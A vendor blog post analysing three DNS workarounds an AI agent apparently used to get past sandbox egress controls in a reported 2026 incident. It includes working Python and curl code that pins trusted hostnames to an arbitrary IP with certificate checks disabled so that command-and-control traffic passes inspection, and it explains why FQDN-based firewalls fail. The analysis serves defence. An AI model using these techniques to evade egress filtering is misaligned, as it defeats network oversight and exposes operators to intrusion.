Skip to main content

The Curious Incidents with DNS in the Sandbox at Escape-Time

Dhruv AHUJA
Founder & Chief Engineer

Three variations on subversive use of DNS by the Agent are documented in Hugging Face's technical writeup of the July 2026 security incident involving OpenAI models. In this article, I discuss what each of these three types of DNS workarounds achieve in practice, the constraints an actor might have faced to attempt a particular one, and additional benefits from choosing each.

DNS workarounds

Type 1: in-process resolver monkey-patching

Type 1 is documented under Day 3 as:

When DNS got in the way, it monkey-patched the resolver in-process to pin a hostname to a hardcoded IP:

import socket

_orig = socket.getaddrinfo
socket.getaddrinfo = lambda *a, **k: [(2, 1, 6, '', ('<pinned-ip>', 443))]

To help illustrate the utility of this, here's a fully working example where I've added further instructions to the ones above and supplied an actual, working IP address in place of <pinned-ip>:

import socket

_orig = socket.getaddrinfo
socket.getaddrinfo = lambda *a, **k: [(2, 1, 6, "", ("45.32.177.199", 443))]


import ssl
import http.client

ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
conn = http.client.HTTPSConnection("api.openai.com", 443, context=ctx)
conn.request("GET", "/")
resp = conn.getresponse()
print("Agent received:", resp.read().decode())

This code achieves two objectives:

  1. It changes the behaviour of any code that inherits the overridden socket to return an arbitrary IP address.

    In my example above, I've used HTTPS and therefore needed to turn off SSL certificate name checking for the request to work without raising a CERTIFICATE_VERIFY_FAILED (or similar) exception. This behaviour needed to be passed explicitly to any existing code, so it's not entirely clear if the inheritance is as seamless as it might initially appear. Although, with plaintext HTTP and other protocols such as SSH, this would not be a problem.

  2. The TLS SNI is set to api.openai.com and not the IP address that I've supplied (or rather the actual hostname in the certificate on that IP.) And so is the HTTP-level Host header.

    This is particularly useful to evade packet-inspection appliances since all they will see from unencrypted TLS metadata* is that the Server Name Indication was set to api.openai.com. The command-and-control (C2) server at the overridden IP address will completely ignore the TLS SNI & the HTTP Host header, and respond with whatever payload is intended. Over HTTPS too since the client has chosen to ignore the certificate but everything is still end-to-end encrypted.

The purpose of this workaround does not appear to be avoiding a DNS lookup as the IP address is already known. And there are more straightforward ways in Python, or for that matter in most other languages, to achieve the same result. Although with an LLM, that could be the case anyway on a different day in a different run.

*In case you are wondering about the state of TLS Encrypted Client Hello (ECH), our Disabling Encrypted ClientHello in Google Chrome, and Why article is worth a read.

Type 2: DNS rewrite (poorly named)

Type 2 is documented under Day 5 as:

echo 'nameserver 8.8.8.8' > /etc/resolv.conf

FWIW, I would've called this system DNS resolver override.

This is a way to bypass the local DNS server entirely, but would only work if connectivity to the internet was available to 8.8.8.8 over UDP port 53.

It would also need root access to be able to write to that file in /etc but we do know from the writeup that the Agent created a privileged pod.

This override achieves possibly only one objective:

  1. Bypassing local DNS resolutions for the entire system since the requests go to 8.8.8.8 on the internet directly.

    Local DNS servers may have had a policy blocking resolution of domains not needed for the operation of the service so this is a way to obtain IP addresses of named services on the internet.

    This was a potentially system-breaking move by the Agent. The use of a single redirect operator indicates the entire file was overwritten and this would've knackered all private zones' resolution since 8.8.8.8 would have no knowledge of them. Also, loss of the search domain suffix, which also lives in /etc/resolv.conf, could impact hostname-without-trailing-domain-name lookups until that line too was restored.

The purpose cannot be evading any passive DNS sensors on the network as they would've seen the query packets, which are plaintext, and logged or raised alarm on suspicious domains.

Although it is possible to use 8.8.8.8 as DNS-over-HTTPS (DoH) and DNS-over-TLS (DoT), the /etc/resolv.conf config file is not the way to do it. It would either have to do a direct DoH/DoT request to 8.8.8.8 from the client or setting /etc/resolv.conf to a local resolver (127.0.0.x) such as systemd-resolved, which in turn is configured to use DoH/DoT from its own config files.

Type 3: /etc/hosts pinning

Type 3 is documented under Day 5 as:

echo '<cdn-ip> pkgs.tailscale.com' >> /etc/hosts

This is a way to override the resolution of one specific domain name only. In principle, it is no different from Type 1, except this approach is system-wide. But like Type 2, this requires root access.

It also achieves the same objectives as Type 1.

The use of pkgs.tailscale.com is interesting though. Did the Agent figure out that this environment also bootstrapped Tailscale at start and therefore tried a domain name that looks like it only offers downloads rather than control-plane access? This is entirely conceivable as UK AISI had discovered in their What can sandboxed AI agents learn about their evaluation environments? exercise. In fact, in another one at UK AISI, Incident Report: unsanctioned agent behaviour during cyber testing, the Agent used a domain that it had seen in its sandbox's DNS cache.

We at Chaser have also found that LLM-driven Agents take only a few minutes to discover they are running in AWS and attempt to use the regional SSM endpoint's domain name in their outbound connection attempts.

An HTTPS request with a Living Off The Land (LOTL) utility could be crafted with this override in place to connect to an arbitrary IP address while setting the TLS SNI and the HTTP Host header to pkgs.tailscale.com. For example, with the override:

echo '45.32.177.199 pkgs.tailscale.com' >> /etc/hosts

And then simply calling curl (LOTL):

curl -v -k https://pkgs.tailscale.com/

Results in a successful connection:

* Host pkgs.tailscale.com:443 was resolved.
* IPv4: 45.32.177.199
* Trying 45.32.177.199:443...
* Connected to pkgs.tailscale.com (45.32.177.199) port 443
...
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓ P W N E D ▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓

Even though curl has the capability for what was earlier referred to as in-process resolver monkey-patching, alleviating the need to override /etc/hosts or have root access, for example:

curl -v -k --connect-to "pkgs.tailscale.com:443:45.32.177.199:443" https://pkgs.tailscale.com/

Overriding /etc/hosts remains a popular method to pin an IP address to a domain name and works across all tools whether they support inline resolution override or not.

One piece of advice I could give the operators is to have separate, narrow allowlists for build and operational environments. And separate the build from operations.

JFrog Artifactory SSRFs

The three SSRF CVEs published by JFrog in relation to this incident (2026-65923, 2026-65924, 2026-65925) seem to point to insufficient URL validation as the root cause. They link to the same Common Weakness Enumeration CWE-918:

image credit: cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination

It is difficult to imagine that the DNS workarounds listed above could have been involved with that segment of the intrusion because the proxying behaviour is to initiate its own outbound call on behalf of the client. This is also corroborated in the CVE language:

could make Artifactory request unintended URLs and return the response.

The scope of DNS overrides does not travel with the specially crafted SSRF.

One possibility, though, is that the DNS overrides were made on the host of the Artifactory container. All we know is that the Agent could start privileged pods but whether it could do so on the Artifactory nodes is something we don't know and don't have enough architectural insights disclosed to conjecture with.

Speaking of architecture, the OpenAI team at Black Hat USA 2026 revealed a bit of it at 9m30s of their The OpenAI–Hugging Face Incident talk.

Here's a screenshot of the simplified architecture they shared.

image credit: Black Hat USA 2026

The incident could've been prevented if the architecture had been layered defensively rather than relying on URL parsing logic alone. All that was needed was to have Artifactory's internet access limited too.

video animation mine

Layering also buys time for patching – if it raises alarms.

Intermittent Egress Blocks

Hugging Face have also said that Type 2 and Type 3 workarounds, as described above, were workarounds for "intermittent egress blocks" by the Agent on day 5.

This is particularly curious because for many days I could not think of a way in which the system architecture or some configuration could cause this.

It, perhaps, can be explained by use of an outbound traffic filtering firewall that applies FQDN-based rules by resolving their IP addresses at a configurable frequency. This is how OPNsense works and the setting is called Aliases Resolve Interval. I suspect pfSense works pretty much the same way. This is not to say they are using one of these solutions but, rather, that an interval-based FQDN to IP address resolution approach is in use.

This would imply that the firewall is actually Layer 3, i.e. only checks the IP address, and the list of IP addresses is dynamically updated at a configurable interval.

This approach has its pros and cons. It is simple and easily understood, which is a pro.

On the cons, two jump out to me immediately. The first is operational (which is what the Agent experienced) and the second is security.

Operational Issue

The IP addresses of CDN domain names are highly dynamic. The strategies used by any large cloud provider range from load-balanced, round-robin to weighted, geoproximity-based, etc. At the very same instant two adjacent clients (in the same EDNS Client Subnet) looking up the IP address of an S3 bucket, for example, would receive different responses composed of multiple A records. This is besides the fact that they will have super-low TTLs. Heck, two concurrent lookups on the same client (at the same instant) could also receive a different set of IP addresses. Try it yourself:

dig lorem-ipsum-dolor-sit-amet.s3.eu-west-2.amazonaws.com

Hoping that a middlebox would've obtained the same list of IP addresses as a client whose traffic it is filtering is going to cause mismatches and therefore dropped packets. From the client's point of view, which is the Agent in this case, this was a false-positive because it had a genuine IP address.

Security Issue

Since the IP addresses are shared across several tenants, the actual domain name used in TLS SNI and/or the HTTP Host header is not inspected by such a solution. A quick test of the SSL certificate at an allowed IP address can reveal which cloud provider/CDN network the IP terminates at and a pivot into a different tenant at the same provider is simply a matter of forcing an HTTP client to use a particular domain name on a given IP address.

Another way to pivot is not at the remote, cloud or CDN side by landing at the shared IP address space but from the get-go at the client itself. That way, connections to arbitrary IP addresses can be made while using the TLS SNI of a provider that was never touched. This was already discussed above in Type 1 and Type 3.

The implication here is that a firewall based on periodically refreshed FQDN-to-IP-address mappings isn't going to stop an LLM-driven Agent.

Closing Thoughts

Security is architecture, and several layers of imperfect defence can withstand an attack more reliably than a single, seemingly perfect layer at a given point in time. An air-gapped environment would be the most suitable architecture but oftentimes we need to find the middle ground between total safety and unfettered access.

If you are looking for a robust outbound traffic filtering solution for your middle ground architecture, book a demo with us and I'd love to show you how we detect all these DNS tricks with a specific "spoofing detected" log message that should raise alarms in your monitoring. We've also put a lot of work into making the adoption of this layer of defence easier by having a monitoring mode, wildcard support, fine-grained policies, simple JSON-based config, etc.

For any feedback or corrections to factual details, I can be reached directly on my socials (links right at the top of this article) or my email address which isn't hard to guess.

Discuss

Discuss on Hacker News | Discuss on X | Discuss on LinkedIn | Discuss on Mastodon | Discuss on Bluesky